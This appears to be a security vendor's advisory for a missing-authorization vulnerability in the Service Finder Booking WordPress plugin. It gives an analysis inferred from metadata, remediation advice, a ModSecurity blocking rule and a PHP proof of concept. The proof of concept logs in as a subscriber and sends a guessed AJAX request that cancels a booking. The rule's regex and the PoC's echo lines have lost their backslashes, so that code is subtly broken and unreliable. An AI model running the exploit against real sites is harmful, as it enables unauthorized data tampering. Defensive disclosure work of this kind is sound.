Opens in a new tab
Published : November 15, 2026

CVE-2026-28159: Service Finder Booking <= 6.2 Missing Authorization PoC, Patch Analysis & Rule

Plugin sf-booking
Severity Medium (CVSS 4.3)
CWE 862
Vulnerable Version 6.2
Patched Version —
Disclosed August 12, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-28159 (metadata-based): The Service Finder Booking plugin for WordPress, versions up to and including 6.2, contains a missing authorization vulnerability. An authenticated attacker with subscriber-level access or above can invoke a function that lacks a capability check and perform an unauthorized action. The CVSS score is 4.3 (medium), with a vector of CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N. The impact is limited to integrity, and no confidentiality or availability impact is expected.

The root cause is CWE-862: Missing Authorization. Atomic Edge analysis infers that the plugin registers an AJAX action (likely via wp_ajax_ or wp_ajax_nopriv_ hooks) or a REST API endpoint, and the corresponding handler function fails to call current_user_can() with an appropriate capability. The vulnerability is in code up to version 6.2. Since no source code diff is available, this conclusion is inferred from the CWE and the vulnerability description. The handler likely performs a state-changing operation (e.g., updating a booking, modifying settings, or deleting data) without verifying that the authenticated user has the necessary role. The description explicitly states ‘missing capability check on a function’, which confirms that authorization is not enforced. However, the exact function name, endpoint, and parameters cannot be confirmed without code access.

Exploitation requires the attacker to be authenticated with at least subscriber-level access. Atomic Edge research infers that the vulnerable function is exposed through a WordPress AJAX action, given the typical pattern for such plugin vulnerabilities. The attacker would send a POST request to /wp-admin/admin-ajax.php with the action parameter set to a plugin-specific value (e.g., sf_booking_action or similar) and additional parameters to perform the unauthorized action. Alternatively, the function might be exposed via a REST API route under /wp-json/sf-booking/v1/ or similar. Because the vulnerability is missing authorization, no nonce bypass is required beyond being logged in; the handler simply does not check capabilities. The specific action name and parameters are not confirmed due to lack of code, but the attack vector is network-based and requires low privileges.

Remediation for this vulnerability requires adding a capability check to the vulnerable function. Based on CWE-862, the fix should ensure that the function calls current_user_can() with a suitable capability (e.g., manage_options or a custom capability) before performing any action. Additionally, the function should verify a nonce to protect against CSRF, although the primary issue is missing authorization. The patch would likely involve wrapping the function logic in a capability check and returning an error if the user lacks permission. Since no patched version is available, users should disable or remove the plugin until an update is released.

If exploited, this vulnerability allows a subscriber-level user to perform actions that should be restricted to higher-privileged users. The impact is limited to integrity (I:L) as per the CVSS vector. Depending on the function’s purpose, an attacker could modify booking data, change plugin settings, or delete records. There is no direct confidentiality or availability impact, but the unauthorized action could disrupt business operations or lead to data tampering. The scope is unchanged, meaning the vulnerability does not affect other components beyond the plugin.

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-28159 (metadata-based)
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
  "id:202628159,phase:2,deny,status:403,chain,msg:'CVE-2026-28159 via Service Finder Booking AJAX missing authorization',severity:'CRITICAL',tag:'CVE-2026-28159'"
  SecRule ARGS_POST:action "@streq sf_booking_action" "chain"
    SecRule ARGS_POST:booking_id "@rx ^d+$" "t:none"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-28159 - Service Finder Booking <= 6.2 - Missing Authorization

// This PoC assumes the vulnerable function is exposed via a WordPress AJAX action.
// The exact action name and parameters are inferred from the plugin slug and typical patterns.
// Adjust $action and $params based on the actual plugin implementation if known.

$target_url = 'http://example.com'; // WordPress site URL
$username = 'subscriber'; // Subscriber-level credentials
$password = 'password';
$action = 'sf_booking_action'; // Hypothetical AJAX action, inferred. May need adjustment.
$params = [
    'booking_id' => 1, // Hypothetical parameter, inferred
    'status' => 'cancelled' // Hypothetical parameter, inferred
];

// Step 1: Log in as a subscriber to obtain cookies
$login_url = $target_url . '/wp-login.php';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => '1'
]));
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);
curl_close($ch);

// Step 2: Send the AJAX request to perform the unauthorized action
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
$post_data = array_merge(['action' => $action], $params);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

echo "HTTP Status: $http_coden";
echo "Response: $responsen";

// Note: This PoC is based on inferred endpoints. A successful exploit will return a 200 response
// and perform the state-changing action. Without code access, the exact action and parameters
// remain unconfirmed.
?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.